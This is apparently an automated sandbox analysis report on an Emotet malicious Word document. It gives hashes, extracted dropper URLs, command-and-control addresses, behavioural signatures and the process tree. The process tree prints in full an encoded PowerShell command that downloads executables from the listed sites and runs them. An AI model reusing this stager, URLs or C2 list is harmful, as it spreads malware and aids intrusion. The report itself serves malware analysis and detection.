Analysis

  • max time kernel
    135s
  • max time network
    131s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    27/08/2020, 09:25

General

  • Target
    emotet_e2_5446f8e283ca5372189e59b1c650fb1d2dbce0c61245c634d6a181772bf2758c_2020-08-27__092256._doc.doc
  • Size 226KB
  • Sample200827-cahd52sb7n
  • SHA256 5446f8e283ca5372189e59b1c650fb1d2dbce0c61245c634d6a181772bf2758c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://banglagoogle.com/wp-admin/o3H7uE5/

  • exe.dropper

    http://glassesnepal.com/gxlaf/j/

  • exe.dropper

    http://propertywatch.ng/alfacgiapi/K5/

  • exe.dropper

    https://cleanwaterarizona.com/wp-content/OQ8/

  • exe.dropper

    http://91madou.xyz/r3es/nle/

  • exe.dropper

    https://themedicann.com/wp-content/OWxv/

  • exe.dropper

    https://maflare.com/wp-includes/mNwd/

Extracted

Family
  • emotet

C2
  • 173.81.218.65:80

  • 45.55.36.51:443

  • 91.83.93.99:7080

  • 45.55.219.163:443

  • 169.239.182.217:8080

  • 24.43.99.75:80

  • 78.24.219.147:8080

  • 95.179.229.244:8080

  • 107.5.122.110:80

  • 47.144.21.12:443

  • 204.197.146.48:80

  • 139.99.158.11:443

  • 190.160.53.126:80

  • 74.120.55.163:80

  • 74.109.108.202:80

  • 47.146.117.214:80

  • 104.236.246.93:8080

  • 174.137.65.18:80

  • 41.60.200.34:80

  • 209.141.54.221:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_5446f8e283ca5372189e59b1c650fb1d2dbce0c61245c634d6a181772bf2758c_2020-08-27__092256._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:800
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABRAGkAOQBpADcAYgBvAD0AKAAoACcATQBfACcAKwAnAGYAcAAnACkAKwAoACcAYQBpACcAKwAnAGEAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAJwArACcAdABlAG0AJwApACAAJABlAG4AVgA6AFQARQBtAFAAXAB3AE8AUgBkAFwAMgAwADEAOQBcACAALQBpAHQAZQBtAHQAeQBwAGUAIABEAGkAUgBFAEMAdABvAHIAeQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAcwBFAEMAYABVAGAAUgBJAFQAWQBQAGAAUgBPAHQATwBgAGMAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAMQAnACsAJwAyACwAJwApACsAKAAnACAAdAAnACsAJwBsAHMAJwApACsAKAAnADEAMQAnACsAJwAsACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAFQAcQB0AHkAZQB4AGMAIAA9ACAAKAAnAFcAJwArACgAJwBuADkAaAAnACsAJwBoAHUAJwApACsAJwBmADcAJwApADsAJABUAF8AOAAwAGsAeQB4AD0AKAAnAFYAJwArACgAJwBiACcAKwAnADgAeQBiAGIAJwArACcAdQAnACkAKQA7ACQAUAB0AGsAeABvADUAeAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwBnAFYAJwArACcAeAB3AG8AJwArACcAcgAnACkAKwAoACcAZAAnACsAJwBnAFYAeAAnACkAKwAoACcAMgAnACsAJwAwADEAOQBnACcAKQArACcAVgB4ACcAKQAuACIAUgBFAHAAbABhAGAAQwBlACIAKAAoACcAZwBWACcAKwAnAHgAJwApACwAJwBcACcAKQApACsAJABUAHEAdAB5AGUAeABjACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABRAGYAbwB5AGkAYgB0AD0AKAAoACcAWgA0ACcAKwAnADIAegA3ACcAKQArACcAZgBjACcAKQA7ACQARABmAGwAdAAxAHIAZwA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgB3AEUAYgBjAEwASQBFAG4AdAA7ACQAUgBuADQAMQBtAHIAMAA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACcAcAAnACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwBiAGEAbgBnAGwAJwArACcAYQAnACkAKwAoACcAZwBvACcAKwAnAG8AJwApACsAJwBnAGwAJwArACgAJwBlACcAKwAnAC4AYwBvACcAKQArACgAJwBtAC8AJwArACcAdwBwAC0AYQAnACkAKwAoACcAZAAnACsAJwBtAGkAJwApACsAKAAnAG4ALwBvACcAKwAnADMASAA3AHUAJwApACsAJwBFACcAKwAnADUALwAnACsAKAAnACoAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwBnACcAKQArACgAJwBsAGEAcwAnACsAJwBzAGUAJwApACsAKAAnAHMAbgBlAHAAYQBsAC4AYwAnACsAJwBvAG0AJwArACcALwBnAHgAbABhACcAKwAnAGYALwAnACsAJwBqACcAKQArACcALwAqACcAKwAoACcAaAB0AHQAcAA6ACcAKwAnAC8ALwBwACcAKwAnAHIAJwApACsAJwBvACcAKwAnAHAAZQAnACsAKAAnAHIAdAB5ACcAKwAnAHcAJwApACsAJwBhACcAKwAoACcAdABjAGgAJwArACcALgBuACcAKwAnAGcALwBhAGwAJwArACcAZgAnACsAJwBhAGMAZwAnACkAKwAoACcAaQAnACsAJwBhAHAAJwApACsAKAAnAGkAJwArACcALwBLADUAJwApACsAKAAnAC8AKgAnACsAJwBoACcAKwAnAHQAdABwACcAKQArACcAcwA6ACcAKwAoACcALwAvAGMAJwArACcAbABlACcAKQArACgAJwBhACcAKwAnAG4AdwBhACcAKQArACgAJwB0AGUAcgBhAHIAJwArACcAaQB6AG8AJwArACcAbgBhACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AYwBvACcAKwAnAG4AdABlACcAKQArACgAJwBuAHQAJwArACcALwBPACcAKwAnAFEAOAAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8AJwArACcALwA5ADEAbQBhACcAKwAnAGQAJwApACsAKAAnAG8AdQAuACcAKwAnAHgAJwApACsAJwB5ACcAKwAoACcAegAvAHIAMwBlACcAKwAnAHMAJwApACsAJwAvACcAKwAoACcAbgBsACcAKwAnAGUALwAqACcAKwAnAGgAdAB0AHAAJwArACcAcwAnACkAKwAoACcAOgAnACsAJwAvAC8AJwArACcAdABoAGUAJwApACsAJwBtAGUAJwArACcAZAAnACsAJwBpAGMAJwArACgAJwBhAG4AJwArACcAbgAuAGMAJwArACcAbwBtAC8AdwBwAC0AYwAnACkAKwAoACcAbwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8ATwBXACcAKQArACgAJwB4AHYAJwArACcALwAnACkAKwAnACoAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnAHMAJwApACsAKAAnADoALwAvACcAKwAnAG0AJwApACsAKAAnAGEAZgBsAGEAcgBlACcAKwAnAC4AYwBvAG0ALwB3ACcAKwAnAHAAJwArACcALQBpACcAKwAnAG4AYwBsACcAKQArACgAJwB1AGQAZQAnACsAJwBzACcAKwAnAC8AbQBOAHcAJwApACsAJwBkACcAKwAnAC8AJwApAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAdABmAGMAcwB6AGgAPQAoACgAJwBOAGwAJwArACcAaABnAGUAJwApACsAJwA3ADUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASABnAGYAeQBmAHYAawAgAGkAbgAgACQAUgBuADQAMQBtAHIAMAApAHsAdAByAHkAewAkAEQAZgBsAHQAMQByAGcALgAiAEQAbwBXAE4AYABMAG8AYABBAEQAYABGAGkATABlACIAKAAkAEgAZwBmAHkAZgB2AGsALAAgACQAUAB0AGsAeABvADUAeAApADsAJABKAGMAdQBvADIAaABzAD0AKAAnAEwAJwArACgAJwByAF8AJwArACcAcwA5ADkAaQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABQAHQAawB4AG8ANQB4ACkALgAiAGwAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAzADQAMgA1ACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AJwArACcAawAnACsAJwBlAC0ASQB0AGUAbQAnACkAKAAkAFAAdABrAHgAbwA1AHgAKQA7ACQAVgB3AHQAOABzAHcAMAA9ACgAJwBCAGYAJwArACcAOQA2ACcAKwAoACcAbQBsACcAKwAnAGMAJwApACkAOwBiAHIAZQBhAGsAOwAkAEsAbAA0AHYAeQBuADYAPQAoACcATAAnACsAKAAnAHcAJwArACcAYQB6ACcAKQArACgAJwAxAG8AJwArACcAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBoAGwAawBrAHEAOAA9ACgAJwBQAHIAJwArACgAJwB5AGMAdgAnACsAJwA2AGUAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3052
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Wn9hhuf7.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Wn9hhuf7.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:3324
      • C:\Windows\SysWOW64\comctl32\Windows.Networking.Sockets.PushEnabledApplication.exe
        "C:\Windows\SysWOW64\comctl32\Windows.Networking.Sockets.PushEnabledApplication.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:3368

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/800-0-0x00007FFE0A250000-0x00007FFE0A916000-memory.dmp

        memory/800-4-0x0000020BD71F1000-0x0000020BD71FA000-memory.dmp

        memory/3052-9-0x00007FFE027F0000-0x00007FFE031DC000-memory.dmp

        memory/3052-10-0x0000010FAC820000-0x0000010FAC821000-memory.dmp

        memory/3052-11-0x0000010FAC9D0000-0x0000010FAC9D1000-memory.dmp

        memory/3324-15-0x00000000001F0000-0x00000000001FC000-memory.dmp